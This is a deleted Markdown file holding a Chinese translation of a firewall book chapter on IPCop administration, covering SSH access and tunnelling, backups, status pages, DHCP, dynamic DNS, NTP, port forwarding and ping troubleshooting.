包含许多只能通过命令行访问的工具,例如 `vim`(一个功能强大的文本编辑器)、 `ping`和 `traceroute`等网络实用程序,以及 `tcpdump`,后者对于通过转储网络流量或仅查看控制台上的标题来调试网络问题非常有用。 我们还可以使用许多标准的 Unix 实用程序,如 `touch`和 `grep`。 其中许多命令(实际上,本段提到的除 `vim`和 `tcpdump`之外的所有命令)都是由 `busybox`提供的,该程序运行以提供您在控制台或通过 ssh 登录时使用的 shell。 - -### 备注 - -**Busybox 外壳** - -有关 `busybox`Shell 及其提供的选项的更多信息,请访问:[http://www.busybox.net/downloads/BusyBox.html](http://www.busybox.net/downloads/BusyBox.html)。 - -### 正在连接到 SSH - -在 Linux 或 Unix 系统上访问 SSH 相当简单-一旦我们启用了 SSH,它就会在(非默认)端口 222 上运行,因此类似下面的命令将使您进入您的 IPCop 主机(假设主机名为“IPCop”): - -```sh -james@horus: - $ ssh -p 222 root@ipcop -root@ipcop's password: -Last login: Thu Feb 27 12:31:22 2006 from 10.0.2.241 -root@ipcop:- # - -``` - -此时,您可以像登录计算机一样工作。 在 Windows 平台上,有一个非常好的免费 SSH 客户端,称为**PuTTY**,而 Linux 和最新的 Unix 平台(如 OSX)几乎都安装了命令行 SSH 客户端。 在 OS X 中,这可以通过 `Terminal.app`访问,而 Konsole、GNOME-TERMINAL、rxvt 或任何其他 Linux 终端仿真器都可以在任何最新的 Linux 桌面中使用 SSH。 - -### 备注 - -**下载 PuTTY** - -从[http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)下载 PuTTY - -要使用 PuTTY,请启动从上述 URL 下载的 `putty.exe`文件。 这应该会弹出一个类似于下图所示的框: - -![Connecting to SSH](img/1361_05_04.jpg) - -要连接到 IPCop 主机,请在**Host Name**框中输入主机的主机名或 IP 地址,在**Port**框中输入端口号**222**。 您可以通过在**Saved Sessions**文本框中输入配置文件名称并单击**Save**来保存这些设置;下次打开 PuTTY 时,多列表框中将列出一个条目,该条目目前只显示**Default Settings**,其名称与您在**Saved Sessions**框中输入的名称相同。 您只需双击此条目即可连接。 使用用户名**root**和您在安装过程中设置的密码进行连接,您应该会看到与 Linux 系统上前面列出的提示符非常相似的提示符。 - -### 关于 SSH 的更多信息 - -SSH 本身在非常广泛的部署中是一种成熟的协议,因此构成的安全风险最小(也是众所周知的)。 它是由 OpenSSH 团队设计和维护的,该团队以 OpenBSD 闻名,被誉为世界上最安全的操作系统之一。 因此,如果您对 IPCop 中的 VPN 功能可以提供的更丰富的 VPN 连接形式没有要求,SSH 提供了一种更低调的替代方案(也让您高枕无忧)。 - -SSH 还为我们提供了其他几个强大的工具-SSH 协议包括允许通过 SSH 隧道传输网络连接的功能(**TCP Forwarding**)。 通过在我们的 IPCop 防火墙上启用此选项并将 SSH 公开给外界,我们就有了一种非常轻量级的、独立于平台的方式来访问内部网络资源和/或 IPCop 配置页面,而无需 VPN 的开销或复杂性。 - -例如,当客户的计算机位于 IPCop 防火墙之后时,这可能是一种在内部访问客户计算机的好方法,或者简单地访问 IPCop Web 界面而不将 Web 服务器暴露在 Internet 上。 - -### 备注 - -**使用 SSH 建立网络流量隧道** - -简而言之,有几种方法可以通过我们的 IPCop 防火墙使用 SSH 来隧道传输网络流量。 启用 TCP 转发后,我们可以使用动态端口转发通过代理服务器通过 SSH 会话发送连接。 在 SSH 的命令行版本中,我们使用与以下类似的命令来完成此操作: - -```sh -james@horus: ~ $ ssh -D 1234 -p 222 root@80.68.90.223 -root@ipcop's password: -Last login: Thu Mar 2 10:22:42 2006 from 207.46.250.119 -root@ipcop:~ # - -``` - -只要我们保持此 `SSH`连接处于打开状态(并且我们可以将其用作普通 SSH 连接),我们的本地计算机(即我们在其上启动连接的系统)就会有一个代理服务器在环回接口(即只侦听地址 127.0.0.1)和端口 1234 上运行。 然后,我们可以使用任何代理感知应用连接到 IPCop 主机可以连接到的任何主机。 这可以是穷人的 VPN,用于在公共互联网连接上私下访问网站,或者如上所述,我们可以使用它来访问 IPCop 主机上的 Web 接口或内部网络资源。 - -SSH 手册页非常全面--在任何 Linux/Unix 系统(IPCop 除外)上的`man ssh`,或者在 Google 上搜索“man ssh”,都会提供 `ssh`命令可用的其他选项的全面列表。 PuTTY 还支持通过 GUI 的类似选项(包括以相同方式进行的动态端口转发)。 - -![A Little More about SSH](img/1361_05_05.jpg) - -在**源端口**框中输入您希望在客户端用于代理连接的端口,选择**动态**,点击**添加**,然后正常连接。 一旦为特定连接配置了此设置,如果您选择将配置文件保存在 PuTTY 中,此设置将与主机名和端口号一起保存。 - -### 备注 - -**SSH 和 TCP 转发** - -[SSH](http://www.securityfocus.com/infocus/1816)是 Brian Hatch 在 2005 年撰写的一篇关于 http://www.securityfocus.com/infocus/1816 在该领域的功能的优秀安全焦点文章。 这本书很复杂,但如果你对这个主题有一点兴趣的话,还是很值得一读的。 - -**SSH 访问**页面还允许我们查看 SSH 密钥。 我们强烈鼓励使用这些工具,但这超出了本书的范围。 同样,强烈建议使用 SSH 文档(和 SSH 手册页)作为这方面的良好信息来源。 - -## Колибриобработается - -**GUI 设置**菜单如下图所示: - -![GUI Settings](img/1361_05_06.jpg) - -我们可能需要认真考虑的唯一选项是**Enable Javascript**选项,如果我们使用较旧的(或文本模式)客户端连接到 IPCop,则可能需要禁用该选项。 - -## 备份 - -我们可以使用 IPCop 中的**备份菜单**将设置备份到软盘或可通过网络访问的文件。 除了对灾难恢复有用之外,这也是主要版本增量之间升级过程的重要组成部分,在这种情况下,就地升级并不总是可能的(并且必须重新安装防火墙并恢复配置)。 - -![Backup](img/1361_05_07.jpg) - -顶部的**Backup Configuration:**选项允许我们在 IPCop 主机本身上创建备份-点击**Create**按钮允许我们创建列在**Backup Sets**下列出的备份。 - -### 备注 - -**备份加密** - -从 IPCop 1.4.0 版开始,IPCop 中包含由 Tim Butterfield 编写的加密备份功能。 当 IPCop 进行加密备份时,它使用存储在机器本身上的随机密钥进行加密,这是还原备份所需的。 如果备份已加密,则需要密钥副本才能还原备份。 - -有关其工作原理的更多信息,请在集成到 IPCop 代码主体之前查看作者关于备份附加组件的原始页面: - -[http://www.timbutterfield.com/computer/ipcop/backup.php](http://www.timbutterfield.com/computer/ipcop/backup.php) - -![Backup](img/1361_05_08.jpg) - -通过选择有问题的备份并单击**选择**,我们可以下载适当的备份并将其保存到另一台计算机上存档,或保存到 CD、磁带等。由于许多 IPCop 防火墙上的空间有限,因此可以在不影响操作效率的情况下维护全面的备份集(并且以比简单地将备份存储在同一主机上更具容灾能力的方式)。 由于防火墙配置往往保持相对静态,因此 IPCop 主机的备份方案可能不需要频繁,但出于显而易见的原因,强烈建议定期备份计划(或在每次重大更改后进行备份的过程)。 - -## 停机 - -**Shutdown:**菜单相对简单,允许手动重新启动或关闭 IPCop 主机,还允许我们计划定期重新启动主机。 - -![Shutdown](img/1361_05_09.jpg) - -# 检查我们的 IPCop 防火墙的状态 - -我们管理程序的一部分应该包括监控 IPCop 防火墙,以确保 CPU 负载、内存使用、网络吞吐量等保持健康水平。 系统管理员的一个极其重要的角色是为他或她的系统建立**基线**,以便能够识别异常-许多入侵和硬件故障首先通过网络活动或 CPU 负载的下降(或上升)而被注意到。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_10.jpg) - -Basic Status(基本状态)屏幕允许我们在检查防火墙生存期统计信息的更详细图表之前查看一些基本系统统计信息。 在 IPCop 机器上运行的服务显然会严重影响机器执行其工作的能力,作为快速指示器,**服务:**显示屏在防火墙停止正常运行以确保防火墙认为正确的服务正在运行时非常有用。 - -许多服务(如**安全外壳服务器**和**Web 代理**)在默认情况下不运行-上图说明了添加 SSH 服务器(我们在本章前面启用)后的默认设置。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_11.jpg) - -**记忆力:**是不言而喻的。 内存不足可能会导致性能问题,特别是在作为大型网络的 Web 代理的主机中。 虽然并不总是内存问题的指示器,特别是当主机负载过重并被 IPCop 提供的一些更密集的功能(如代理服务器)使用时,**SWAP**指示器是值得理解的。 **交换**是将分配给进程的内存移动到硬盘驱动器,而不是存储在系统的**随机存取存储器**中的过程。 这有效地允许系统使用比主机更多的物理存储器来操作,但代价是执行交换操作时的速度;对于其存储器已被*换出*的程序,访问硬盘上的数据比从*实际*存储器访问数据要慢得多。 - -重要的是要注意,由于 Linux 分配和管理内存的方式,已用内存的百分比(在顶行)并不*而不是*表示正在使用的内存量-Linux 内核将频繁访问的文件缓存在内存的**磁盘缓存**中以提高性能,这是内存使用的一部分原因。 在没有**缓冲区/缓存**(第二个指示符)的情况下查看内存通常更合理,以便更好地指示实际有多少内存*可用*。 这是 `free`命令输出的更漂亮的图形版本。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_12.jpg) - -**您的 IPCop 系统的磁盘使用率:**也应该相对不言而喻。 **/boot**分区用于存储操作系统内核和配置信息(因为这是作为软件更新过程的一部分进行管理的,所以即使在高级别,使用情况也不重要)。 最大的分区(用于唯一真正增长的分区)挂载到**/var/log**,顾名思义,它用于存储日志文件。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_13.jpg) - -**正常运行时间和用户:**正常运行时间不言而喻。 用户可能不是;因为这(字面上)是 `w`命令的输出,所以**Users**指的是通过控制台或 SSH 上的交互式会话登录到 Linux 主机本身的用户。 这并不意味着没有人*将*IPCop 用作防火墙、代理服务器或通过 Web 界面登录。 - -根据 `w`命令,此上下文中的 LOAD 是*Unix*LOAD。 列出的三个数字分别表示过去 1 分钟、5 分钟和 15 分钟的负载。 该数字表示使用或等待 CPU 时间的进程数,或处于不间断休眠状态的进程数。 每个这样的进程都会在负载号上加 1,您看到的数字是该周期的平均值。 - -负载并不总是很好地衡量机器的负载,网络吞吐量、特定的 CPU 统计数据以及详细说明特定于进程的信息的更细粒度的输出作为诊断工具(而不是粗略的指示器)通常要有用得多。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_14.jpg) - -**加载的模块:**是另一条特定于操作系统的信息。 Linux 内核将一些功能捆绑为可加载的*模块*,如果不需要,可以将其删除或直接不加载。 此处将显示模块化的和正在使用的每一项功能;大多数功能将在启动时加载,并代表从网卡的设备驱动程序到 iptables 执行不同防火墙功能所需的模块(上图中显示了其中一些模块)。 - -除非您有特殊需要了解或查看正在使用的模块(或者只是好奇),否则这不是非常有用的信息。 上图实质上是 `lsmod`命令的输出。 - -![Checking the Status of Our IPCop Firewall](img/1361_05_15.jpg) - -这是命令 `uname -a`的输出,该命令从左到右显示:内核名称、网络节点主机名、内核版本、内核版本、计算机硬件名称和操作系统。 - -# 网络状态 - -**Network Status**屏幕上包含的信息通常对排除网络问题非常有用。 - -我们得到的第一个工具是 `ifconfig`命令输出的彩色版本,系统上的网络接口使用 IPCop 用来表示它们的颜色。 通常,当 IPCop 主机连接到通过 DHCP 分配配置信息的网络(例如电缆或 ADSL 连接)时,这对于验证连接中断是否与 IPCop 主机有关或服务提供商是否发生网络中断非常有用。 由于我们可以看到错误和丢弃数据包的数量,因此这在排除其他网络问题时通常也很有用。 - -![Network Status](img/1361_05_16.jpg) - -**lo**接口代表**Local Loopback**适配器,地址为**127.0.0.1**,应始终存在。 在此系统上,Red 接口处于非活动状态,但在完全填充的 IPCop 系统上,我们最多可以在此处看到五个接口(Red、Green、Orange、Blue 和 Loopback)。 - -![Network Status](img/1361_05_17.jpg) - -**Current Dynamic Leages**表实际上显示了分配给内部网段上的客户端的*个 DHCP*租约。 在本例中,我们有两个客户端,其中一个没有为 DHCP 请求提供主机名,另一个(**Knoppix**)提供了主机名。 IPCop 向 DNS 注册主机名,因此主机**Knoppix**应该可以通过 IPCop 的 DNS 服务器作为**Knoppix**寻址。 - -到期的租约被划掉(划掉)。 这里显示的输出基本上由 `/var/state/dhcp/dhcpd.leases`的内容组成。 - -除了让我们调试 DHCP 之外,这也是获取特定系统的 MAC 地址的一种快速而有用的方法,无论是为了设置静态保留还是出于任何其他目的。 - -![Network Status](img/1361_05_18.jpg) - -防火墙使用路由表来确定将系统处理的 IP 数据报转发(或发送)到何处。 对路由的全面讨论超出了本书的范围,但主机路由表是解决许多网络问题的最佳首选端口,彻底了解路由对于有效管理防火墙、网络甚至一组工作站至关重要。 - -![Network Status](img/1361_05_19.jpg) - -ARP 表包含本地网段上 IP 地址和硬件(MAC)地址之间的当前映射。 网络上的每个客户端通常都有一个条目,上游路由器(或者是 Cable/ADSL 路由器,或者更通常是 ISP 的上游路由器)也有一个条目。 与许多其他项目一样,这对网络故障排除的某些方面非常有用,但超出了本书的范围。 - -## 系统图 - -IPCop 使用名为**rrdTool**([http://oss.oetiker.ch/rrdtool/](http://oss.oetiker.ch/rrdtool/))的包来维护一组与系统和网络活动相关的统计数据的图表。 这些是在安装系统时自动设置的,我们可以在**System Graphs**菜单下访问的统计数据是**CPU 使用率、内存使用率、交换使用率**和**磁盘访问量**。 - -![System Graphs](img/1361_05_20.jpg) - -上图是这样一个图表的示例(针对 CPU 使用率)。 单击特定的图表可深入查看该特定的统计数据,为您提供详细说明过去一天、一周、一月和一年的指标的图表。 - -您应该注意到,由于 rrdtool 的**UTF**问题(阻止使用特殊字符),IPCop 当前仅限于生成英文图形。 - -## 网络图 - -IPCop 还维护系统中各接口上的网络流量图表。 它们的工作方式与**系统图**相同。 - -![Network Graphs](img/1361_05_21.jpg) - -## 连接 - -**Connections**功能显示彩色输出,详细说明当前通过 IPCop 防火墙建立的所有连接。 单击此屏幕中的 IP 地址将对该地址执行**反向 DNS 查找**,如果配置了反向 DNS(即,如果该地址具有**PTR**记录),则会给出与该地址相关联的主机名。 - -# 服务 - -虽然 IPCop 是一个防火墙软件包,但它包含了许多超出普通防火墙范围的功能。 例如,DNS 和 DHCP 功能通常由单独的主机提供服务。 IPCop,专为包含六种不同服务器(路由器、防火墙、DHCP 服务器、DNS 服务器、代理服务器、IDS 等)的小型部署而设计。 根本不可行,将所有这些功能捆绑在一起。 - -在**Services**选项卡中,我们可以配置 IPCop 中的许多功能,这些功能是独立的元素,需要更复杂的设置。 其中一些将在各自的章节中介绍;其他几乎总是与 IPCop 一起部署的(如 DNS 和 DHCP)将在这里介绍。 - -## DHCP 服务器 - -在**DHCP Server**页面的顶部,我们可以重新配置安装 IPCop 时设置的一些选项(例如开始和结束地址以及租用时间)。 其他选项(如**WINS**服务器选项和**附加 DHCP 选项**)现在可以添加到我们的配置中。 - -![DHCP Server](img/1361_05_22.jpg) - -如果您不了解 DHCP,则可能不需要重新配置(如果您的 IPCop 盒正常工作)。 但是,建议您了解 DHCP(以及它的各种缺陷)。 - -再往下看,我们可以配置**个固定租赁**。 固定租用(有时称为保留)允许您将 DHCP 服务器配置为使用与特定 MAC 地址匹配的主机的特定 IP 地址(而不是池中的随机地址)进行响应。 这样做的好处是,您可以拥有集中管理 IP 配置的能力,同时能够通过 IP 地址可靠地连接到主机,而不是依赖 DNS。 - -![DHCP Server](img/1361_05_23.jpg) - -对于一些经常不处理动态 DNS(或使用不友好且通常不可更改的主机名)的设备(如网络打印机或 IP 摄像机),如果您不想在网络上的每台联网设备上静态地手动设置 IP 地址,这是天赐之物。 - -在此下方,我们可以(再次)看到**个当前动态租约**。 如果我们刚刚将支持 DHCP 的设备连接到网络,但希望为其分配特定地址,则这是一个有用的包含;我们可以复制 MAC 地址,为其创建固定租约,然后重新启动该设备-此时它应该重新获取正确的(静态)地址。 - -许多网络管理员或 IT 专业人员可能不熟悉的**根路径**和**文件名**选项用于配置从网络引导的系统以及通过**NFS**读取文件。 在绝大多数部署中(如页面所示),忽略它们是安全的 - -## 动态 DNS - -小型企业或家庭中的许多互联网连接使用 ISP 拥有的池中通过 PPP 或 DHCP 等协议动态分配的 IP 地址。 这使 ISP 能够最大限度地减少其需要的 IP 地址数量(理论上,它只需要与任何给定时间在线客户端的最大数量一样多的 IP 地址),并使集中式配置变得更容易。 - -由于客户端的 IP 地址通常会像拨号那样逐个会话地改变,或者像 ADSL 或有线电视客户端那样以不确定的间隔改变,所以传入的连接是一个问题。 如果 IP 地址不断变化,则无法将 VPN 客户端接入 IPCop 服务器,也无法将邮件传递到 IPCop 主机所在的站点。 - -动态 DNS 提供商解决了这个问题。 通过在客户端计算机上使用不断更新 Internet 上的服务器的代理,动态 DNS 提供程序可以使用当前 IP 地址更新 DNS 名称(如 youripcopserver.afraid.org),这样只要 IPCop 主机保持在线,客户端就可以始终通过相同的 DNS 名称连接到它。 - -IPCop 支持一系列动态 DNS 提供商,其中大多数都是免费的。 .org([http://freedns.afraid.org/](http://freedns.afraid.org/))是一个很好的选择,它有可靠且设置良好的服务。 所有动态 DNS 提供商的工作方式基本上都是相同的-您通过提供商的网站注册一个帐户,然后向 IPCop 提供详细信息,以便它可以自行注册。 此时(并给出一两分钟让一切开始工作),您注册的主机名应解析为您的 IPCop 的 Red IP 地址。 一般来说,这是非常简单和直截了当的。 - -如果您要在外部进行测试,但没有外部主机进行测试,您可以使用几种在线 DNS 测试服务(如[www.dnsstuff.com](http://www.dnsstuff.com))来查找您的域的**A**记录,以查看它是否解析为正确的 IP 地址。 - -![Dynamic DNS](img/1361_05_24.jpg) - -一般来说,默认勾选的**连接期间 IPCop 使用的经典 RED IP**选项将是最适合您的选项。 如果您的 IPCop 路由器位于另一台路由器之后,则在通过 Internet 实际连接到 IPCop 盒时会遇到问题,在连接到内部服务时会遇到更多问题,因为您的流量实际上会经历两次网络地址转换。 如果(如页面所示)您位于另一台 NAT 路由器之后,建议的解决方案是删除该另一台 NAT 路由器,并将 IPCop Red 接口直接插入您的互联网连接(如果您能够这样做的话)。 - -### 备注 - -**配置端口转发** - -请注意,为了能够连接到您的 IPCop 主机(或其背后的任何资源),除了能够从 Internet 解析您的 IPCop 主机的 IP 地址之外,您还必须配置到内部服务的端口转发。 - -有些路由器(如以太网 ADSL 调制解调器)无法启用桥接模式,但它们允许您启用桥接模式,而不是自行执行 NAT。 使用 Conexant 芯片组(以及其他)的 ADSL 路由器具有半桥接功能,该功能将从 ADSL 提供商接收的 IP 地址通过 DHCP 传递到第一台插入路由器以太网端口的计算机。 这是一个黑客攻击,但也是一个有用的攻击,因为它允许一台主机直接连接到互联网,而不需要复杂的设置。 - -您应该查阅制造商的文档或支持服务以了解有关设置的信息,因为这是一个相当复杂的主题,每个路由器都有很大的不同。 - -### 备注 - -**动态 DNS** - -请注意,短语**动态 DNS**在本书上下文中指的是两件事。 这里提到的一种是指向因特网上的提供商注册 IPCop 主机的 IP 地址,以便因特网上的客户端可以通过可预测的主机名(例如*youripcopbox.afraid.org)*找到 IPCop 主机,即使 IP 地址改变也是如此。 - -第二个(在别处提到)指的是 IPCop Green 网络中的客户端向 IPCop DNS 服务注册*其*主机名,以便 IPCop 内部网段上的其他机器可以从其主机名解析其 IP 地址的过程。 第二项服务严格属于内部事务,与外部世界没有直接关系。 - -## 编辑主机 - -HOSTS 文件在 Linux/Unix 中显示为 `/etc/hosts`,在 Windows 中显示为 `%SystemRoot%\System32\Drivers\Hosts`,提供了一种无需 DNS 即可手动设置主机名-IP 地址关系的方法。 这对于测试目的很有用,可以作为 DNS 的备份,或者在没有 DNS 的环境中使用。 如果您需要强制 IPCop 将特定的主机名解析为特定的 IP 地址,您可以在这里这样做,而不需要复杂的 DNS 配置。 除非你对它的作用有很好的理解,否则你不应该玩弄它。 - -## 时间服务器 - -**NTP**是一种旨在同步来自 Internet 的时间的协议。 非常简单,您的 IPCop 主机连接到 Stratum2 NTP 服务器并确定时间;此 Stratum2 NTP 服务器本身连接到 Stratum1 服务器(或多个),以便将其时间来源保持在可接受的准确度水平。 - -Stratum1 服务器根据外部时间源(例如 GPS 时钟或无线电接收器)维护它们的时间。 保持这种划分是为了减少第 1 层服务器上的负载,否则这些服务器将无法处理客户端的数量。 除非您有一个大型(以千计)的网络,否则将您的服务器同步到 Stratum 1 NTP 源被认为是一种不好的做法。 您还应该选择尽可能靠近您的 Stratum2 服务器(或池),因为服务器越近,系统设置时钟的精度就越高。 - -准确的时间对于联网设备非常重要,尤其是对于防火墙,因为能够准确识别记录的事件(如入侵)发生的顺序对于维护正常的基础设施以及调查(和起诉)入侵者通常至关重要。 - -NTP 通常在 Internet 上保持 5-15 毫秒的精确度水平。 有关 ntp 起源的详细说明、其重要性以及可用的 ntp 服务器列表,请访问[http://ntp.isc.org/bin/view/Main/WebHome](http://ntp.isc.org/bin/view/Main/WebHome)在线获取。 - -IPCop 能够同步到外部 NTP 源,还可以为本地网络上的客户端提供 NTP 服务。 - -![Time Server](img/1361_05_25.jpg) - -如果选中**从网络时间服务器**获取时间设置,则默认设置应该有效-但建议您选择离您更近的**主 NTP 服务器**(或池)。 如配置页所示,IPCop 还可以自动同步时间。 - -IPCop 还可以让您通过 Web 界面设置时间。 如果系统时钟特别不同步,这对于初始安装非常有用,因为如果手动同步,NTP 更新可能不会立即发生。 如果您出于任何原因不想使用 NTP,您可以通过这种方式更新您的时间-或者只使用它来测试 NTP,方法是不正确地设置时间,然后验证 NTP 是否真的起作用。 - -# 防火墙功能 - -IPCop 中的**Firewall**下拉菜单包含配置防火墙本身功能的功能。 由于 IPCop 的设计理念是将 Green Zone 视为隐式信任,并从那里开始降低信任级别,因此 IPCop 中没有内置的出口过滤。 相反,这里配置的两个主要选择是**外部访问**,它允许您控制 IPCop 允许入站方向的端口,以及**端口转发**。 有关设置更精细的防火墙策略的更多信息,请参见[第 9 章](09.html "Chapter 9. Customizing IPCop"),特别是对于出口流量(即从绿色到红色的流量)。 - -## 外部访问 - -默认情况下,IPCop 防火墙的规则会丢弃红色区域中启动的所有流量。 几乎所有响应网络内客户端请求而通过防火墙进入的流量(例如,响应客户端发送*GET*请求而提供服务的网站)都是允许的,但为了允许外部主机连接到 IPCop 防火墙本身-以访问 Web 接口或 SSH 等服务-我们需要添加外部访问规则。 - -![External Access](img/1361_05_26.jpg) - -如我们所见,IPCop 默认情况下只有一个外部访问规则,用于端口 113(Ident)。 虽然默认情况下 IPCop 主机上的此端口上没有运行任何服务,但存在此规则是为了允许连接到 ident 的服务(如 IRC 或 Internet 中继聊天)无需等待连接超时即可连接。 通过外部访问打开此端口,IPCop 防火墙上到 ident 的任何连接都将遇到关闭的端口,与过滤端口相比,加快了连接速度。 - -然后,默认情况下,如果我们添加一个允许规则,则发往允许端口的流量将到达 IPCop 外部接口上的该端口。 **External Access**屏幕允许流量通过 IPCop 最外层的防御进入-实际上端口转发(或允许流量到达特定的内部机器)将在下一节中完成。 - -## 端口转发 - -由于我们只有一个外部(Red)IP 地址和多个内部客户端,为了允许从 Internet 连接到特定内部机器上的特定端口,我们必须在 Red 接口上分配一个端口来与内部机器上的服务相对应,并*将此流量*转发到内部客户端。 - -在某些情况下,例如,如果我们要将内部 SSH(22)服务器发布到 Web,我们可能会选择使用不同的外部端口来侦听内部主机上的端口。 例如,我们可以将防火墙上的端口 4022 转发到内部主机上的端口 22。 这种方法的好处是我们可以容纳同一服务的许多实例(使用端口 4023、4024 等)。 而且隐藏我们的 SSH 服务运行所在的端口会带来一些安全上的好处。 - -此方法的一个主要缺点是,在某些情况下,端口对于在其上运行的应用至关重要。 例如,HTTP 流量默认为端口 80-浏览器需要额外的参数(通常由冒号后跟 IP 地址或主机名末尾的端口号表示)才能访问备用端口上的 HTTP 流量,就像 IPCop 自己在端口 81 和 445 上重新定位的 HTTP/HTTPS 接口一样。 - -如果我们将 HTTP 流量重新定位到端口 81(或另一个端口),防火墙后面的客户端只允许连接到端口 80,也可能会无意中阻止客户端访问我们的 Web 服务器。 - -某些服务需要特定的端口号。 如果我们有一个内部邮件服务器,我们将端口 25(SMTP)从 IPCop 防火墙转发到该服务器,我们必须在外部使用端口 25,否则转发邮件到我们的邮件服务器将无法连接到邮件服务器-SMTP 服务器使用端口 25,并且没有办法使用 Web 上的替代端口。 - -![Port Forwarding](img/1361_05_27.jpg) - -因此,我们的**源端口**指的是我们在外部接口上打开的端口。 **目的端口**指的是目标主机上的端口。 例如,如果我们要将端口 4022 从外部转发到内部主机 10.1.1.123 上的端口 22,我们可以将**4022**输入到**源端口**框中,将**22**输入到**目标端口**框中,将**10.1.1.123**输入到**目标 IP**框中。 - -### 备注 - -**转发多个端口** - -您可以通过指定端口范围转发多个连续端口。 这是通过使用冒号在范围内的最低和最高端口之间划定来实现的。 例如,如果我们想要将外部接口上的端口 10 到 30 转发到网络内服务器上的端口 10 到 30,我们可以将**10:30**放入**源端口**,将**10:30**放入**目的端口**。 - -**源 IP 或网络(表示“全部”为空)**框允许我们仅接受来自特定主机的连接。 如果我们要向 Web 开放一个协议,如**RDP**(**3389**),我们可能希望这样做,但我们对其安全性并不完全满意。 或者,我们可以选择主动地只允许来自受信任 IP 块的连接,这是理所当然的,并对我们所有的端口转发规则都采用这种方法(SMTP 除外,它要求由太多不同的主机连接到它,以至于以这种方式设置基于 IP 的过滤实际上是不可能的)。 - -如果我们通过端口转发同时使用 UDP 和 TCP 的 DNS 等协议,则可能需要选择不同的*协议*。 - -## 防火墙选项 - -**Firewall Options**页面允许我们启用和禁用对**ICMP**(**Internet Control Message Protocol)回送**(Ping)请求到 IPCop 盒上的各个接口的响应。 一般而言,禁用任何不必要的通信被认为是一种良好的做法,尽管 ping 在测试时可能特别有用,并且在防火墙规则中允许此通信是相当常见的遗漏。 - -虽然这不是与此选项相关的主要问题,但由于它只允许从 IPCop 主机发送 ICMP 响应,因此在严格限制传出流量的环境中不允许 ICMP 流量是有主要原因的。 可以通过 ICMP 传输 IP 通信量(即通过 TCP、UDP 和 ICMP 建立的所有连接,包括 Web 访问、DNS、端口扫描和任何其他类型的 TCP/IP 网络活动)。 - -这可能会导致这样的情况:使用机场或咖啡馆网络,流氓用户无需付费即可访问互联网(因为此类预身份验证或支付系统通常允许 DNS 和 ICMP 流量穿过他们已有的防火墙),或者在企业中,员工可以绕过防火墙策略来访问未经授权的资源和站点。 - -请参阅[http://thomer.com/icmptx/](http://thomer.com/icmptx/),了解有关通过 ICMP 隧道传输 IP 的更多详细信息。 - -![Firewall Options](img/1361_05_28.jpg) - -## 使用 Ping 进行网络故障排除 - -在构成 Internet 上常用的**TCP/IP 堆栈**的三个在 IP 之上运行的协议(TCP、UDP 和 ICMP)中,ICMP 通常是最容易被忽视的。 可以将 ICMP 视为一种管理通道-ICMP 主要用于发送错误消息和用于诊断问题和处理数据的其他信息。 - -Ping 实际上使用 ICMP `echo request`和 `echo reply`消息,第一个称为 ping 的实用程序是在 1983 年编写的。 其工作方式有时等同于**声纳**-发起主机发送*回应请求*消息,通常通过 IP 地址发送到特定主机。 然后,接收主机回复*回应*消息,发起计算机计算往返时间,并以毫秒(Ms)为单位显示。 - -这可以很好地、快速地测试以下各项: - -* 连通性(其他主机是否响应) - -* 网络延迟(花费的时间长度) - -* 网络可靠性(让 `ping`命令运行,在 Windows 中使用 `-t`标志,或者在许多其他 ping 实现的默认情况下,通常是检测网络使用率或延迟的突然峰值或连接中断的好方法)。 - -最近,Internet 上的许多主机已经开始对这类 ICMP 流量进行防火墙保护,而不响应 `echo request`数据包。 在某些情况下,这可能是为了减少带宽使用,而在其他情况下,管理员可能出于安全原因阻止了它。 微软([www.microsoft.com](http://www.microsoft.com))就是一个高调网站丢弃 ping 请求的例子,而谷歌([www.google.com](http://www.google.com))就是一个不这样做的例子。 - -### 备注 - -**有关 Ping**的详细信息 - -有关 ping 的更多信息,请参见[http://ftp.arl.mil/~mike/ping.html](http://ftp.arl.mil/~mike/ping.html),其中包括 ping 的原始作者 Mike Muuss 的链接以及 ping the 鸭子故事的链接(和图片),这是任何 IT 库或书架上值得添加的内容! - -# 摘要 - -我们已经了解了 Web 界面中 IPCop 配置的主要部分,到目前为止,我们应该对如何在各种不同的场景中使用 IPCop 提供的各种选项来管理、故障排除和监控我们的 IPCop 防火墙有了扎实的了解。 \ No newline at end of file diff --git a/docs/conf-ipcop-fw/06.md b/docs/conf-ipcop-fw/06.md deleted file mode 100644 index 9f7504f7..00000000 --- a/docs/conf-ipcop-fw/06.md +++ /dev/null @@ -1,143 +0,0 @@ -# 六、将 IPCop 用于入侵检测 - -现在我们有了一个可以正常工作的防火墙,大部分基本功能都设置好了,我们感觉很安全。 当然,任何恶意入侵者都无法通过我们网络上的这些防御。 但如果他们这么做了呢? 我们怎么知道呢? 我们该怎么办? - -这些都是**入侵检测系统**(**IDS**)试图回答的问题;当网络安全方面的事情没有完全按计划进行时,它会检测到这些问题,并记录它识别的任何可疑活动,以便我们可以有效地处理安全事件。 - -# IDS 简介 - -市场上有各种各样的入侵检测系统,从企业级托管网络监控解决方案到简单的主机日志记录系统,应有尽有。 **入侵防御系统**(**IPS**)和 IDS 之间也有区别。 IPS 比 IDS 更有效,它会尝试拦截正在进行的攻击,而 IDS 会尝试记录攻击,并通知责任方(可选)采用事件响应计划。 - -IDS 还可以进一步分类为**NIDS**或**HID**,不同之处在于前者监视*网络*,而后者监视*主机*。 在选择 IDS 时,这一点很重要,因为我们必须确定我们到底在监视什么。 - -例如,许多管理员不会在 Windows 或 Unix 机器上使用 HID,因为它们具有广泛记录(事件日志/系统日志)的内置能力,因此更喜欢监控网络上的流量,以发现恶意行为的迹象。 这也可能比主机监视更可靠,因为很难信任受损主机的日志。 - -在使用 IPCop 的情况下,我们在防火墙上有一个内置的 NIDS,它是预先配置好的,可以用绝对最低配置使用,即**Snort**入侵检测系统。 - -# Snort 简介 - -Snort 是 IPCop 附带的 IDS,是目前可用的最知名、最常用的**嗅探器**之一,世界各地的大大小小的网络都在使用它。 它不断更新针对大量漏洞的签名、庞大的用户基础、商业支持以及在线和印刷版本的优秀文档。 Snort 最初是由 Martin Roesch 在 20 世纪 90 年代末开发的,注定是一个嗅探器,可能还会更多一点,因此得名 Snort。 - -最初,作为嗅探器,Snort 